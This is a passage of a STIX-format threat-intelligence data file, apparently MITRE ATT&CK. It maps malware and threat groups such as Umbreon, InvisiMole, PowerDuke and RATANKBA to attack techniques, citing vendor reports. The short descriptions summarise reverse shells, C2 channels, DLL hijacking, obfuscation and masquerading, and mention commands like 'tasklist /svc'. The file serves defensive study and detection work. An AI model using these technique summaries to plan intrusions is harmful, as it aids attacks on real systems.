                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "source_name": "FireEye APT30"
                }
            ],
            "description": "(Citation: FireEye APT30)",
            "type": "relationship",
            "modified": "2019-03-22T18:44:28.655Z",
            "created": "2017-05-31T21:33:27.048Z"
        },
        {
            "id": "relationship--2f4d2f2e-78a9-46e6-bb2f-5b1be932da42",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Umbreon](https://attack.mitre.org/software/S0221) provides access using both standard facilities like SSH and additional access using its backdoor Espeon, providing a reverse shell upon receipt of a special packet(Citation: Umbreon Trend Micro)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Umbreon Trend Micro",
                    "description": "Fernando Merc\u00eas. (2016, September 5). Pok\u00e9mon-themed Umbreon Linux Rootkit Hits x86, ARM Systems. Retrieved March 5, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pokemon-themed-umbreon-linux-rootkit-hits-x86-arm-systems/?_ga=2.180041126.367598458.1505420282-1759340220.1502477046"
                }
            ],
            "source_ref": "malware--3d8e547d-9456-4f32-a895-dc86134e282f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T21:54:36.121Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
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            "object_marking_refs": [
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            "source_ref": "intrusion-set--ae41895a-243f-4a65-b99b-d85022326c31",
            "relationship_type": "uses",
            "target_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "external_references": [
                {
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "source_name": "Cylance Dust Storm"
                }
            ],
            "description": "(Citation: Cylance Dust Storm)",
            "type": "relationship",
            "modified": "2019-03-22T20:14:29.775Z",
            "created": "2017-05-31T21:33:27.065Z"
        },
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            "relationship_type": "uses",
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            "external_references": [
                {
                    "source_name": "DustySky",
                    "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf"
                },
                {
                    "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf",
                    "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.",
                    "source_name": "DustySky2"
                },
                {
                    "source_name": "FireEye Operation Molerats",
                    "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.",
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html"
                }
            ],
            "description": "(Citation: DustySky)(Citation: DustySky2)(Citation: FireEye Operation Molerats)",
            "type": "relationship",
            "modified": "2021-04-27T19:55:39.622Z",
            "created": "2017-05-31T21:33:27.056Z"
        },
        {
            "id": "relationship--503c4b74-7ca5-45e3-bb11-85a99ca1810f",
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            "description": "[Rancor](https://attack.mitre.org/groups/G0075) attempted to get users to click on an embedded macro within a Microsoft Office Excel document to launch their malware.(Citation: Rancor Unit42 June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "intrusion-set--f40eb8ce-2a74-4e56-89a1-227021410142",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T14:55:01.054Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--43886571-4415-484f-931b-3b30b9aefaa7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses <code>tasklist /svc</code> to display running tasks.(Citation: RATANKBA)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-09-02T18:46:33.342Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--19e0594c-c5b4-45c8-926e-ae884164d294",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[More_eggs](https://attack.mitre.org/software/S0284) uses HTTPS for C2.(Citation: Talos Cobalt Group July 2018)(Citation: Security Intelligence More Eggs Aug 2019)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html",
                    "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.",
                    "source_name": "Talos Cobalt Group July 2018"
                },
                {
                    "source_name": "Security Intelligence More Eggs Aug 2019",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019."
                }
            ],
            "source_ref": "malware--bfd2738c-8b43-43c3-bc9f-d523c8e88bf4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:52:57.726Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--524261f3-8b87-4c99-b99b-1e78032f072c",
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            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) lists local users and session information.(Citation: ESET InvisiMole June 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
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        {
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            "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) checks for anti-malware products and processes.(Citation: McAfee Gold Dragon)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
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                }
            ],
            "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.579Z",
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            "description": "[yty](https://attack.mitre.org/software/S0248) gets an output of running processes using the <code>tasklist</code> command.(Citation: ASERT Donot March 2018)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/",
                    "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.",
                    "source_name": "ASERT Donot March 2018"
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            ],
            "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-04-25T00:09:23.236Z",
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            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can upload files to the victim's machine for operations.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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                {
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "source_name": "ESET InvisiMole June 2018"
                },
                {
                    "source_name": "ESET InvisiMole June 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf",
                    "description": "Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-07-16T15:07:27.488Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8baf3f0d-0ab4-4691-8ef7-8b9af8a8069c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Remsec](https://attack.mitre.org/software/S0125) can add or remove applications or ports on the Windows firewall or disable it entirely.(Citation: Kaspersky ProjectSauron Technical Analysis)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Kaspersky ProjectSauron Technical Analysis",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.",
                    "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf"
                }
            ],
            "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "type": "relationship",
            "modified": "2020-03-28T01:02:36.240Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--9c79076c-341f-4eb3-bed7-300723747b18",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWERSOURCE](https://attack.mitre.org/software/S0145) queries Registry keys in preparation for setting Run keys to achieve persistence.(Citation: Cisco DNSMessenger March 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco DNSMessenger March 2017",
                    "description": "Brumaghin, E. and Grady, C.. (2017, March 2). Covert Channels and Poor Decisions: The Tale of DNSMessenger. Retrieved March 8, 2017.",
                    "url": "http://blog.talosintelligence.com/2017/03/dnsmessenger.html"
                }
            ],
            "source_ref": "malware--17e919aa-4a49-445c-b103-dbb8df9e7351",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-17T02:11:28.408Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--81b183bc-de6a-457c-a3f3-a1168e8456f1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) network traffic communicates over common ports like 80, 443, or 1433.(Citation: Cylance Dust Storm)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e"
        },
        {
            "id": "relationship--ae9befd5-d8b7-4492-9b47-422a40d610cc",
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            "description": "[GeminiDuke](https://attack.mitre.org/software/S0049) collects information on programs and services on the victim that are configured to automatically run at startup.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa",
            "type": "relationship",
            "modified": "2020-03-17T01:22:53.978Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--01ab8fee-5204-40c1-ac7a-b11a5683a87d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Misdat](https://attack.mitre.org/software/S0083) saves itself as a file named msdtc.exe, which is also the name of the legitimate Microsoft Distributed Transaction Coordinator service binary.(Citation: Cylance Dust Storm)(Citation: Microsoft DTC)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.",
                    "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf"
                },
                {
                    "source_name": "Microsoft DTC",
                    "description": "Microsoft. (2011, January 12). Distributed Transaction Coordinator. Retrieved February 25, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc759136(v=ws.10).aspx"
                }
            ],
            "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-18T14:51:57.947Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a7590c10-ba0a-453d-b086-1b3427e20462",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FruitFly](https://attack.mitre.org/software/S0277) executes and stores obfuscated Perl scripts.(Citation: objsee mac malware 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "objsee mac malware 2017",
                    "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.",
                    "url": "https://objective-see.com/blog/blog_0x25.html"
                }
            ],
            "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-01-17T19:43:39.495Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--e465e173-04d8-4a2b-8953-a2fa3b44aec0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) runs <code>cmd.exe /c</code> and sends the output to its C2.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:47:59.294Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--dc0cf30b-ec44-4b5a-8c45-f93e48974a05",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can be launched by using DLL search order hijacking in which the wrapper DLL is placed in the same folder as explorer.exe and loaded during startup into the Windows Explorer process instead of the legitimate library.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34",
            "type": "relationship",
            "modified": "2020-03-17T00:09:26.264Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--94b4de9a-1f83-4923-8d4b-e9bafdb1bef9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can delete all Registry entries created during its execution.(Citation: ESET RTM Feb 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-05-12T22:13:17.027Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--56b6c694-6d04-4799-9a34-b4c66f25b30e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RATANKBA](https://attack.mitre.org/software/S0241) uses HTTP/HTTPS for command and control communication.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)",
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            ],
            "external_references": [
                {
                    "source_name": "Lazarus RATANKBA",
                    "description": "Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"
                },
                {
                    "source_name": "RATANKBA",
                    "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.",
                    "url": "https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"
                }
            ],
            "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-09-02T18:46:33.376Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--11de35bf-195d-4097-a27a-d2e2b7c433b3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants use port 8088 for C2.(Citation: US-CERT Volgmer Nov 2017)(Citation: US-CERT Volgmer 2 Nov 2017)(Citation: Symantec Volgmer Aug 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT Volgmer Nov 2017",
                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
                },
                {
                    "source_name": "US-CERT Volgmer 2 Nov 2017",
                    "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF"
                },
                {
                    "source_name": "Symantec Volgmer Aug 2014",
                    "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.",
                    "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2"
                }
            ],
            "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "type": "relationship",
            "modified": "2019-10-15T22:51:03.069Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--b35a5218-e64d-49b5-a37d-6390edddece6",
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--388606d3-f38f-45bf-885d-a9dc9df3c8a8",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044",
            "type": "relationship",
            "modified": "2020-02-21T20:35:49.227Z",
            "created": "2017-05-31T21:33:27.026Z"
        },
        {
            "id": "relationship--ee51d531-5cc4-4836-a55c-6062bde1a4d4",
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            "description": "[StreamEx](https://attack.mitre.org/software/S0142) obfuscates some commands by using statically programmed fragments of strings when starting a DLL. It also uses a one-byte xor against 0x91 to encode configuration data.(Citation: Cylance Shell Crew Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Shell Crew Feb 2017",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
                }
            ],
            "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-19T22:02:49.077Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f9600732-9116-4325-8073-28d81721b37a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "source_name": "FireEye APT10 April 2017"
                }
            ],
            "description": "(Citation: PWC Cloud Hopper Technical Annex April 2017)(Citation: FireEye APT10 April 2017)",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.920Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--6ac167a2-e2b4-4b66-96a1-521468d5784c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dipsind](https://attack.mitre.org/software/S0200) can spawn remote shells.(Citation: Microsoft PLATINUM April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Microsoft PLATINUM April 2016",
                    "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.",
                    "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf"
                }
            ],
            "source_ref": "malware--e170995d-4f61-4f17-b60e-04f9a06ee517",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T17:03:18.944Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--789cf81d-bfc9-4c1a-a34a-57e41981894a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerDuke](https://attack.mitre.org/software/S0139) has a command to write random data across a file and delete it.(Citation: Volexity PowerDuke November 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Volexity PowerDuke November 2016",
                    "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.",
                    "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/"
                }
            ],
            "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2019-04-22T22:31:38.479Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--23d16034-a2eb-40ef-857b-63708e63bf9a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Orz](https://attack.mitre.org/software/S0229) can gather the victim OS version and whether it is 64 or 32 bit.(Citation: Proofpoint Leviathan Oct 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint Leviathan Oct 2017",
                    "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets"
                }
            ],
            "source_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-09-16T18:01:16.141Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--aad1cfa0-0df0-4768-87c2-5e59da2c5e44",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RTM](https://attack.mitre.org/software/S0148) can obtain the victim username and permissions.(Citation: ESET RTM Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf",
                    "description": "Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.",
                    "source_name": "ESET RTM Feb 2017"
                }
            ],
            "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-05-12T22:13:16.854Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
